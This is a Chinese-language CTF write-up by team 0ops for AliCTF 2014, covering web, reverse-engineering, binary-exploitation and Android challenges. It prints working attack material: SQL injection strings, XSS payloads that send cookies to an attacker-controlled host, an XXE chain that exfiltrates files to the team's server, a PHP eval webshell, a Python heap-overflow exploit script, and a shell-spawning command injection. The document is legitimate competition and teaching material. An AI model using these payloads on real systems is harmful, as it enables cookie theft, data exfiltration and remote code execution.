Alictf2014 Writeup

Team Name: 0ops

Part 1 BigData

100pt

因为是webshell，一般是post请求，但是经过检查所有post并无异常。 这样，在get请求的情况下，可能会有关键字。 尝试eval，shell，hack，attack，evil，login，pass等关键字，发现可疑文件：

```
config1.php?act=attack
```

统计id可得答案。

200pt

连上服务器看到这是一个模拟两方通信的游戏，而玩家可以作为中间人篡改通信的消息。消息是由一串在Start与End之间由逗号分隔的数字组成的，根据数字的大小直接猜测其为十进制的ASCII码，解码后看到alice与bob互相交换了自己的RSA公钥，而后的通信就是用RSA算法“加密”过了。

这里与其说是“加密”还不如说是“编码”，因为之前交换的公钥的模数N实在太短，非常容易就可以分解，强度这么弱的RSA就跟编码差不太多了。然后解出之后的通信数据，发现bob发送了一个bob@bob.com，根据题目要求需要替换成mallory@mallory.com，而后alice与bob会再度交换公钥，重复上述过程。

这里我因为想偷懒没有用分解N而后求d的方法，而是直接把双方在消息里发送的公钥的指数e从65537换成1，这样双方发送的消息就是明文了，而作为中间人只是需要把修改后的消息用另一方真正的公钥再加密一次再发送即可，重复这样的过程许多次之后服务器就会把flag发送出来。

Part 2 Web-A

100pt

根据提示是一个手工注入，常规的一些注入payload发觉都失效，所以一开始是感觉做了过滤。后来根据论文http://www.exploit-db.com/papers/18263/的提示(False Injection)，尝试了

```
Username: '-0||' / Password: 1
```

发觉还是失败。于是猜测可能并不是做了过滤，而是做了硬编码，不能出现-，只能用|。

最终的payload为：

```
Username: '|0||' / Password: 1
```

即可拿到flag并提示web100b入口地址。

200pt

提交参数输出到onerror事件中，用js做了过滤，不能出现关键字，不能有“+”。

基础payload为

```
window['location']="http://xxx/"+document['cookie']
```

想到用字符拼接绕过关键字过滤，用

```
'coo'['CONCAT'.toLowerCase()]('kie')
```

这种方式绕过“+”，最终payload为

```
"><window['loca'['CONCAT'.toLowerCase()]('tion')]='http://xxx/'['CONCAT'.toLowerCase()](document['coo'['CONCAT'.toLowerCase()]
('kie')]);>
```

url编码后提交得到flag。

300pt

根据题面猜测是XML实体注入。先找了一些中文网站的payload试了一下，发觉都不行，感觉主要原因是因为没有回显（结合题面的吐槽进一步确定了）。于是开始Google。发现了这篇paper: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf。

pdf里讲得很详细，有exploit可用。 网页上填写内容为：

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ourserver_ip/xdb.xml">

    %remote;

    %param1;

]>

<root>&external;</root>
```

xdb.xml的内容为：

```
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=bb.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://ourserver_ip/log.php?msg=%payload;'>">
```

要注意的地方是，这里不能直接用file协议取bb.php的内容，因为绝对路径不确定感觉。所以采用php://filter以及base64-encode的trick。最后读到的msg再base64_decode一下就出来flag了。

400pt

web400a就是抓包会看到一个文件上传的表单，上传文件后会给出上传后的路径和文件名，发现文件名与当前时间相关。
如/upload/upload/20140920170801.php。但是访问的时候会发现被删了。因此需要不断发生请求在被删之前访问到上传上去的脚本。脚本内容为在上一级目录生成一句话。

```
<?php file_put_contents('../salt.php', '<?php eval($_POST["c"]); ?>'); ?>
```

然后在上级目录找到上传后的一句话，就可以菜刀连接了。

菜刀连上去之后发觉/home/wwwroot/default/upload目录下面有一个dfghjdjlkfghd.zip。但是有密码，所以一时之间束手无测。随后根据提示，要去Github上进行查找。然后再根据之前curl连接的时候发觉返回结果有一个注释，大概是这个样子：

```
    <!--
        @author: nidongde
    -->
```

自然地，就去找nidongde的github主页，随后发现https://github.com/nidongde/test页面有解压缩密码: test_nidongde，解压之后得到一个php文件。提供了它的网址，以及一段内容，通过认证之后服务器会返回flag。条件：

```
if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){
```

由于对GET、GLOBAL等做了过滤，所以就用POST方式传数据。一开始卡住了，因为发现弄不出足够大的整数取反之后符合要求，但是再根据提示要用x64的思维。x64下面自然int类型是很大的。最后的payload如下：

```
curl -d '_POST[alibaba][security]=2347230984234' -i 'http://web400b.alictf.com/alibaba_CTF_security/'
```

即可得到flag。

500pt

页面最顶端js解密后为

```
location.href.indexOf("helloalibaba")==-1&&(location.href="http://www.alictf.com/");
```

即需要在url里有"helloalibaba"，可以人为构造a= helloalibaba来绕过

经过测试，本题有两层过滤。

Php过滤单引号、双引号和“-”，防止逃逸出script标签。

Js主要过滤<，并把所有字母变大写。

因为参数直接输出在<script>内，绕过php的过滤可用js的字符编码，变成\xff形式。

对js过滤，可以用<<script></script>绕过。因为会把所有字母变大写，所以<script>标签里js代码中不能出现字母。在这里通过调用远程js代码来避免 写这种js。

因此最终payload为

```
<<script src=//xxx/1.js></script>
```

在linux服务器上创建1.JS文件，内容为

```
window.location='http://xxx/xss.php?x='+document.cookie;
```

提交得到flag。

Part 3 Reverse

100pt

题目提示说会把信息加密存储到"secret.db"文件中，并且我们的目标是加密的key。那么很自然地，把ch1.exe拖进IDA之后，根据写内容到"secret.db"文件来定位代码片段。IDA搜索text "secret.db"定位到函数sub_423400，看到了fopen，基本八九不离十了。

于是退到外面，看调用sub_423400之前，发觉调用了函数sub_4230f0，然后一进去，发现一连串非常可疑的赋值（从v19开始的），本着试一试的态度，在0042325D下了一个断点（因为到这里一连串赋值结束了），然后用Ollydbg跑一下，从内存里直接把这连续的一段可见字符弄出来就好了，即是flag。（根据一些常量字符串以及对数据的操作，加密方式应该是AES）。

200pt

根据题目的描述，是程序对输入的一段内容做了加密之后放到了flag.crypt文件。先要找到输入的途径，通过strings以及对程序稍稍调试，可以发现存放明文的输入文件为flag.txt。

我们随便给flag.txt输入连续的123412341234，发觉出来的flag.crypt文件的hex内容为：

```
A1 A2 A0 A3 9F A4 9E A5 A1 A2 A0 A3 9F A4 9E A5 A1 A2 A0 A3 9F A4 9E A5
```

正好有循环段，猜测加密过程是1-1对应的替换，1个bytes变到2个bytes。接下来做一个简单的程序，把可见字符全部放到一个文件中，然后运行ch2.exe。这样可以得到可见字符1-1对应的码表。接下来根据题目提供的flag.crypt文件的hex内容倒查这张表，即可获得明文（flag）。

300pt

程序下载下来先运行，发现点Find The Key之后就会崩溃。用IDA看，发现是加了UPX的壳，用UPX原版工具就可以直接脱壳。但是脱壳后程序就没法直接运行了，丢进IDA看到1400018C0这个函数会先加载一个DecryptDll.dll，然后执行其中的RSADecrypt函数，但是程序同目录下并没有这个dll所以直接运行会报错。

但是程序脱壳之前运行的话至少还会弹出来一个界面，脱了壳之后连界面都没了，这里面肯定还是有些问题。于是去看了下脱壳后的程序的资源区，发现里面就有一个dll，提取出来后重命名为DecryptDll.dll，再次运行程序，依然报错。

用windbg调试，发现程序还是在调用RSADecrypt的时候出了错，仔细检查这个函数调用，发现有四个参数，第一个是密文，第二个是密文长度，第三个是0，第四个是64，而程序崩溃是由于一个空指针引用，所以猜测第三个参数可能是解密后输出明文的buffer，第四个是明文buffer的长度。于是把第三个参数从0改成一个可写地址，再次执行这个函数，然后查看那个可写地址就会发现flag

Part 4 Web-B

100pt

此题会检查referer和cookie。用web100a登陆后，发现cookie中有

```
username=xbb; isadmin=0;
sign=ZGYwMGVhNTZjNGQyZTcwOWRiYWNmMGVkZGYwMGVhNTY0NjliOWUzMA%3D%3D
```

修改或者删除cookie中任意一项就会报错。显然sign对参数做了验证。

Sign base64解密后为一段40位的hash：df00ea56c4d2e709dbacf0eddf00ea56469b9e30 观察得hash中有重复部分。去掉头上重复部分剩32位，cmd5上反查为xbb0。 正好是cookie中username和isadmin的拼接。

利用这个性质伪造cookie，

```
username=admin; isadmin=1;
sign=ZGY2NzhjNjFlMDBjZjI1YWQ0MjY4M2IzZGY2NzhjNjFmNDJjNmJkYQ==
```

提交得到flag。

200pt

此题限定了开始部分，利用基础认证的形式，构造

```
http://www.taobao.com:dsd@web200b.alictf.com/5.php
```

得到flag。

300pt

页面打开后发现会载入whitehat.jpg，下载改后缀为rar，猜密码为www.alictf.com，得到提示*.php?img=exp。

又根据题目说在找不到的地方，查看robots.txt，得到两个隐藏页面。

upload.php可以用来上传文件，不过强制随机重名命名为jpg文件，内容并不检测。 flag.php为限制文件，只有admin能看到。

利用.*php?img=exp可以构造出xss来，不过会被chrome自身的xss auditor拦截。 查看crossdomain.xml文件，发现<allow-access-from domain=""/>* 这样本题就很明确为构造swf的xss。

参考http://www.freebuf.com/articles/web/37432.html 构造恶意swf文件，通过上传点上传。

本题php会检查提交的参数里有没有”/”，若存在则会忽略输入，可以用html编码为/绕过。

另外在接收flag.php内容的站点需要配置crossdomain.xml文件，内容同web300b的crossdomain.xml文件。

最终payload为

```
"><embed src="http:&#47;&#47;web300b.alictf.com&#47;upload&#47;A57yr8SGGfZKFSPHKrAGk0DYMETL6Aok.jpg"
```

提交后记录flag用的脚本发现内容没有flag，注意到管理请求的referer为http://127.0.0.1开头，修改Swf读取的url指向http://127.0.0.1/flag.php，再次提交得到flag。

Part 5 CodeSafe

100pt

大概浏览了一下是一个Linux提供RPC的程序，一共有3个functoin可以让你调用。漏洞发生在rpc_function_1，其中注意到：

```
mtl = temp.mtt * tl + 1;
mt = (char*)malloc(mtl);
if(mt)
{
    strcpy(mt,temp.t);
    for(i = 1;i < temp.mtt;i++)
        strcat(mt,temp.t);
}
```

由于temp.mtt以及tl均为unsigned short类型并且均可控，所以构造数据可以使得两者乘法导致整形溢出，mtl会变得较小，于是申请的堆块区域会不足以放得下传进来的数据，导致堆溢出。完整的exploit如下：

```
import struct
import time
import socket
import telnetlib
import random
import sys

def p(x):
    return struct.pack('<I', x)

def netp(x):
    return struct.pack('>I', x)

def shortp(x):
    return struct.pack('<H', x)

def up(x):
    return struct.unpack('<I', x)[0]

def readuntil(f, delim='msg?\n'):
    d = ''
    while not d.endswith(delim):
        n = f.read(1)
        if len(n) == 0:
            print 'EOF'
            break
        d += n
    return d[:-len(delim)]

host = 'codesafe100.alictf.com'
port = 30000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
f = s.makefile('rw', bufsize=0)

token = '此处user_token'

temp = shortp(198)
temp += 'A' * 512

payload = chr(len(token)) # len_token
payload += token # token
payload += chr(1) # function_id
payload += netp(len(temp)) # len_data
payload += temp

f.write(payload)

t = telnetlib.Telnet()
t.sock = s
t.interact()
```

200pt

在rpc_function_2里，看到最后有一句： sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v); 这里隐约就有一些不好的味道了，再翻到函数的开头仔细检查下buffer的长度，是512字节，而后面的参数里的line就是request->data，长度<=512。所以这里的sprintf是可以造成buffer溢出的，剩下的只是要让程序的逻辑能够走到这一句语句即可。

根据前面的代码分析，提交的line需要满足形如”a = b”这样的格式，并且b需要使得function0返回一个非0值。再根据阅读function0的代码，能够知道b需要是一个长度为16的仅由数字组成的字符串，经过后面的一系列运算后需要使得s % 10 == 0这个判断为真，而b只要为16个0就可以满足条件，所以最终提交的line为

```
line = 'huihui=' + ('0'*16).rjust(512-7-1, ' ') + '\n'
```

即可触发漏洞。

300pt

上来先大概看了一遍，没看到什么特别的明显的问题，再仔细从rpc_function_0开始看，看到rpc_function_2的后半部分的时候又看到一个sprintf:

```
sprintf(r,"/temporary folder/2014-08/%s",p);
```

其中r = (char*)malloc(256);

而p是function6的一个输出，function6的功能是从url中提取host,port和path信息，p就是url中的路径，url的长度限制也为256，且需要以

http://alibaba.com/开头所以p长度最多为236，但是加上"/temporary folder/2014-08/"之后就可以往r里输出262个字节，导致堆溢出。

再从头看一遍rpc_function_2的代码，要触发漏洞需要过程序前面的一些条件判断，比如

```
nm = 0x4848
ts = time.time() + 999
```

而k需要过一个function4之后与”alibaba-inc”相等，看一下代码就发现function4是凯撒密码，偏移是010也就是八进制的10也就是十进制的8，所以做一下反向偏移的凯撒加密就得到

```
k = 'sdatsts-afu'.ljust(16, '\x00')
v = 2
url_len = 255
url = 'http://alibaba.com/'.ljust(255, 'p') + '\x00'
```

即可。

这里还可能会有的问题的地方就是time_t了，在32位下是unsigned int，大小是4字节；而在64位下是unsigned long long，大小是8字节。本地测试的时候还发现，如果是64位的话这个struct stc的内部结构可能还会有一些对齐方面的问题。经过测试服务器上的程序是32位的，不会有64位上的对齐问题。

400pt

这个程序非常诡异的在rpc_function_1里有调用system函数：

```
char cbuffer[512];
snprintf(cbuffer, 512,"ping %s",temp.buffer);
system(cbuffer);
```

这里temp.buffer的长度限制为256，而cbuffer为512，所以不会有溢出。但是后面这个system真是让人醉了，看起来好像是在执行ping，但是参数是用字符串拼接起来的，只要里面有分号就可以造成命令注入，比如拼接上如下字符串 '; /bin/sh<&9 >&9 2>&9' 就可以在远端起一个shell。剩下的还是要过程序前面的逻辑的问题，粗看了下似乎需要用户名为admin才有执行命令的权限，而做口令判断的这个地方用到了function3，而function3实际上是弗吉尼亚密码，用admin登录时候的key就是”admin”，经过加密变换之后需要与”ALIBABA”相等，于是就可以构造好用户名和口令了，但是本地测试的时候却莫名其妙地提示No privilege.感觉非常奇怪，于是就上gdb在校验密码的地方下了个断点，发现login变量先被赋值成1，而后又被赋值成0，非常诡异，而后再去看代码，看到

```
if(strcmp(value,"ALIBABA") == 0)
    login = 1;
else
    printf("%s login failed!",szUser);
    login =  0;
```

这个真是醉了，else后面居然没加大括号！这个跟苹果之前被爆出的goto fail bug有异曲同工之处。这就导致了login = 0;这句赋值始终会被执行， 同时也就意味着admin永远无法登陆成功，难道这个system就是故意放着逗你玩的吗？再从头仔细看一遍代码，发现提交数据中的temp.user和temp.pass长度都是128，而用来做判断的szUser和szPass只取了前面63个字节，并且只是对temp.user用function1去掉了尾部的空格，并没有处理szUser和szPass，只是在作为guest登录成功之后才会用function1处理一下szUser，而后的权限检查是判断这个处理过后的szUser是否等于"admin"，所以可以构造这样一个user = 'admin'.ljust(64, ' ') + 'p'以guest的逻辑登录并且绕过admin的权限检查，最终的提交数据为

```
user = 'admin'.ljust(64, ' ') + 'p'
hashval = 'alibaba'
password = ''
for i in xrange(len(hashval)):
    c = chr((ord(hashval[i]) - ord('guest'[i%5])) % 26 + ord('a'))
    password += c
cmd = '; /bin/sh<&9 >&9 2>&9'
data = user.ljust(128, '\x00') + password.ljust(128, '\x00') + cmd.ljust(256, '\x00')
```

本地测试的时候可以成功开出shell，不过远程的服务器就只是返回了一个flag而已>_<

Part 6 EvilApk

100pt

反编译，在源码中就能看到文件的名称

200pt

反编译，通过搜索method的功能搜索sendSMS，得到次数。

300pt

根据题目描述，这里是考察android的webview漏洞。程序加了特殊的壳，不容易直接分析，但是如果要利用这个漏洞要知道在addJavascriptInterface里触发漏洞时需要调用的对象是什么。

这里用到了LoCCS实验室的安卓API监控工具，链接在https://github.com/romangol/InDroid。直接把apk扔进去跑，并一路记录apk调用的API。结果可以发现进入addJavascriptInterface之后显示的对象名字叫做SmokeyBear。题目说要弹出一个Toast来获取flag。于是我们构造一个js文件，其中

```
function execute() { SmokeyBear.showToast(); }
```

尝试调用showToast方法来获得Toast里的内容，即flag。

400pt

这个apk程序同样也是加了特殊的壳，不能直接进行反汇编然后分析。于是再次使用LoCCS实验室的安卓API监控工具跑一下。可以看到在流程中，apk调用了一些Java相关的加密函数，其中收集到的信息包括(Indroid可以进行API调用以及其具体参数是什么的收集):

```
算法：DESede
key：1f 98 ce ab 20 97 70 ef a8 75 c2 45 85 3e ce 76 1f 98 ce ab 20 97 70 ef
IV： 00 0a 0a 0a 0a 02 02 aa
分组模式：CBC
Padding模式：PKC5
```

加密之后，同000a0a0a0a0202aa5458d715704493d8e6b9bd38f8b6be0e进行比较。去掉前面的IV，后面就是密文。

由于整个信息非常齐全，所以可以写一个解密程序最后结果是(hex):

```
E697A5E5A4A940E59C9FE4BEB8
```

将其转成中文编码可得到flag。

500pt

题目里给了一个so，丢进IDA看到一大堆函数，用readelf发现有JNI_OnLoad这个函数，丢进IDA看，发现很多函数里都有switch的结构，估计是都做了控制流混淆了，查看程序中的字符串也只看到一大堆的奇怪字符串，猜测是加过密了。尝试写一个APK去调用这个so进行动态调试，但是一直都没有成功，所以刚开始的时候毫无头绪。

后来看到题目里给了提示是/proc/%pid%/下的某个文件，然后就决定既然动态分析一直不成功的话不如尝试一下静态分析，虽然代码有混淆但还不算是特别严重，特别观察文件打开相关库函数(open、fopen)的参数，发现路径名会用sprintf来生成，并且再往前看发现有getpid的调用，于是就猜测程序是先生成一个类似/proc/%d/xxxx这样的字符串，再用sprintf把pid代入生成最终的路径名，而且字符串解密的函数也就在附近，解密算法也不是非常复杂，但是不同的字符串用的解密算法是不同的，稍微感觉有些蛋疼。

我们先找到了一个/proc/%d/cmdline，提交了不对，只能继续再寻找，最后找到了一个/proc/%d/stat，对应的解密算法在51624附近

```
byte_1011E8[v1] = 0xCF * byte_E68CA[v1] - 0x6A - (0x9E * byte_E68CA[v1] & 0x2C);
```

对应密文在E68CA处，

```
0xF7, 0x3A, 0xDC, 0xB7, 0xFB, 0xF7, 0xDD, 0x6E, 0xF7, 0xB, 0x7E, 0x59, 0x7E
```

运气较好，尝试提交后通过。